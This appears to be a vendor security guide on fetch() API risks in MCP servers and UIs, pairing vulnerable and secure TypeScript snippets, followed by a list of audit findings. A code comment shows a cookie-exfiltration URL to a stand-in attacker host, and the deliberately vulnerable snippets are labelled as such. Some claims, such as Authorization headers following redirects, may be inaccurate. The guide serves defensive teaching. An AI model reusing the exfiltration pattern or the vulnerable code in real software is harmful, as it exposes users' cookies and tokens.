MCP Server Security · fetch() API · CORS · HTTPS

MCP server fetch() API security — service worker interception, credentials mode, redirect following, no-cors opaque responses, and HTTPS-only enforcement for MCP server requests

The Fetch API is the primary network transport for browser-based MCP UIs and for Node.js MCP servers that call external services. Its defaults are not secure for MCP deployments: credentials: 'same-origin' sends cookies to same-origin endpoints but the default behavior for cross-origin MCP endpoints requires explicit configuration; redirect: 'follow' automatically follows redirects including ones that bypass the original auth context; mode: 'no-cors' returns opaque responses that silently hide authentication failures; and fetch() in a browser context is subject to service worker interception unless the worker is absent or the request uses specific cache options.

1. credentials mode and cross-origin MCP endpoints

The credentials option in fetch() controls whether cookies and HTTP authentication headers are sent with the request. The three modes have different security implications for MCP deployments:

credentials modeSame-origin behaviorCross-origin behaviorMCP risk
'same-origin' (default)Sends cookiesDoes not send cookiesSafe for same-origin MCP servers; no credentials to cross-origin
'include'Sends cookiesSends cookies (if CORS Access-Control-Allow-Credentials: true)Dangerous — sends cookies to any MCP endpoint URL, including redirected destinations
'omit'No cookiesNo cookiesCorrect for MCP servers that use Bearer tokens in Authorization header, not cookies

The danger pattern is credentials: 'include' on a fetch to a URL that comes from tool output or user input. If an MCP tool returns a URL and the UI fetches it with credentials: 'include', the user's cookies are sent to that URL — even if it is an attacker-controlled domain.

// DANGEROUS: credentials: 'include' on a URL from tool output
async function fetchToolOutputUrl(urlFromTool: string) {
  // If urlFromTool is 'https://attacker.example/collect?token=' + document.cookie,
  // this sends the user's cookies to the attacker
  const response = await fetch(urlFromTool, {
    credentials: 'include',  // DANGEROUS with arbitrary URLs
  });
  return response.json();
}

// SECURE: use 'omit' for cross-origin fetches; 'same-origin' only for same-origin
async function fetchToolOutputUrl(urlFromTool: string) {
  const url = new URL(urlFromTool);
  // Validate the URL is on an allowlisted origin
  if (!ALLOWED_FETCH_ORIGINS.has(url.origin)) {
    throw new Error(`fetch() to untrusted origin blocked: ${url.origin}`);
  }
  const response = await fetch(urlFromTool, {
    credentials: 'omit',  // Never send cookies to external MCP endpoints
    headers: { 'Authorization': `Bearer ${getSessionToken()}` },
  });
  return response.json();
}

2. Redirect following and auth bypass

By default, fetch() follows HTTP 301, 302, 303, and 307 redirects automatically with redirect: 'follow'. This is convenient for normal web browsing but dangerous for MCP server calls because:

// VULNERABLE: redirect: 'follow' sends auth headers to redirect target
const response = await fetch('https://mcp.example.com/tools/execute', {
  method: 'POST',
  headers: { 'Authorization': `Bearer ${token}` },
  redirect: 'follow',  // If MCP server 302s to attacker URL, Bearer token follows
  body: JSON.stringify(toolCall),
});

// SECURE: manual redirect handling — inspect 3xx before following
const response = await fetch('https://mcp.example.com/tools/execute', {
  method: 'POST',
  headers: { 'Authorization': `Bearer ${token}` },
  redirect: 'manual',  // Returns opaque redirect response; do not follow automatically
  body: JSON.stringify(toolCall),
});

if (response.type === 'opaqueredirect') {
  // Inspect the redirect — the Location header is not available on opaqueredirect responses
  // For MCP servers, a redirect is unexpected; treat as an error
  throw new Error(`Unexpected redirect from MCP server: ${response.status}`);
}
if (!response.ok) {
  throw new Error(`MCP server error: ${response.status}`);
}
return response.json();

3. no-cors mode and opaque responses

mode: 'no-cors' allows a fetch() to a cross-origin URL without a CORS preflight — but the response is "opaque": response.status is always 0, response.ok is always false, and the body is not readable. It is useful for fire-and-forget analytics pings, but it is actively dangerous for MCP server calls:

// DANGEROUS: no-cors mode for MCP tool calls
const response = await fetch(mcpEndpoint, {
  method: 'POST',
  mode: 'no-cors',  // Always returns opaque response
  body: JSON.stringify(toolCall),
});
// response.status === 0 regardless of actual server response
// response.ok === false even on 200 OK
// response.json() throws — body is not readable
// The tool call may have failed with 401 or 500; the client cannot tell

The correct mode for MCP server calls is cors (the default) or same-origin. Configure the MCP server to return proper CORS headers (Access-Control-Allow-Origin with the specific UI origin, not *). Never use no-cors for calls where you need to read the response or detect errors.

4. HTTPS-only enforcement in fetch() calls

Content Security Policy's upgrade-insecure-requests directive and block-all-mixed-content control whether HTTP resources are loaded by the browser in an HTTPS page. But CSP enforcement is on the browser's document security context — it does not apply to service workers' fetch calls or to Node.js server-side fetch() calls.

For MCP servers running on Node.js that make outbound fetch() calls to external services (e.g., to call a third-party API as part of a tool), HTTPS must be enforced in application code, not relied on from the environment:

// MCP server — enforce HTTPS for all outbound fetch() calls
function secureFetch(url: string, options?: RequestInit): Promise<Response> {
  const parsedUrl = new URL(url);
  if (parsedUrl.protocol !== 'https:') {
    throw new Error(
      `Insecure outbound fetch() blocked: ${url} uses ${parsedUrl.protocol}. ` +
      'All outbound requests from MCP server must use HTTPS.'
    );
  }
  return fetch(url, options);
}

// Replace all bare fetch() calls with secureFetch() in MCP tool handlers
// Or use a global fetch wrapper at startup:
const originalFetch = globalThis.fetch;
globalThis.fetch = (input, init) => {
  const url = typeof input === 'string' ? input : (input as Request).url;
  if (url.startsWith('http:')) {
    throw new Error(`HTTP fetch blocked: ${url}`);
  }
  return originalFetch(input, init);
};

5. fetch() in service workers vs document context

A fetch() call made from a document page passes through the registered service worker's fetch event handler (if a worker is active). A fetch() made from within the service worker itself does not go through another service worker — it goes directly to the network. This asymmetry means:

To make a fetch() from a document that bypasses the service worker entirely (useful for auth refresh calls that must not be intercepted), use the Request constructor with cache: 'reload' — but this is not standardized across all browsers. A more reliable approach: the service worker explicitly passes through requests with specific headers (a custom passthrough header that the service worker respects).

SkillAudit findings for fetch() API security

Critical fetch() with credentials: 'include' uses URLs from tool output or user input; user cookies may be sent to attacker-controlled domains. −22 pts
High redirect: 'follow' (default) on MCP server calls; a server-side redirect sends auth headers to the redirect target, potentially a different origin than the intended MCP server. −18 pts
High mode: 'no-cors' used for MCP tool call fetches; authentication failures (401/403) are indistinguishable from success in the opaque response; error handling is completely broken. −16 pts
High MCP server makes outbound fetch() calls to HTTP URLs without HTTPS enforcement; possible MITM on server-side tool calls to third-party APIs. −14 pts
Medium CORS on MCP server endpoint uses Access-Control-Allow-Origin: * with credentialed requests; or allows credential-bearing requests from any origin. −12 pts
Medium No origin allowlist for cross-origin fetch() calls in MCP UI; arbitrary URLs from tool output are fetched without domain validation. −10 pts
Medium fetch() calls for auth refresh or token exchange not protected against service worker interception; a malicious service worker can capture new tokens. −8 pts

SkillAudit scans MCP server and UI source code for unsafe fetch() patterns: credentials: 'include' with dynamic URLs, mode: 'no-cors', unvalidated redirect following, and HTTP-scheme outbound calls. Audit your MCP server →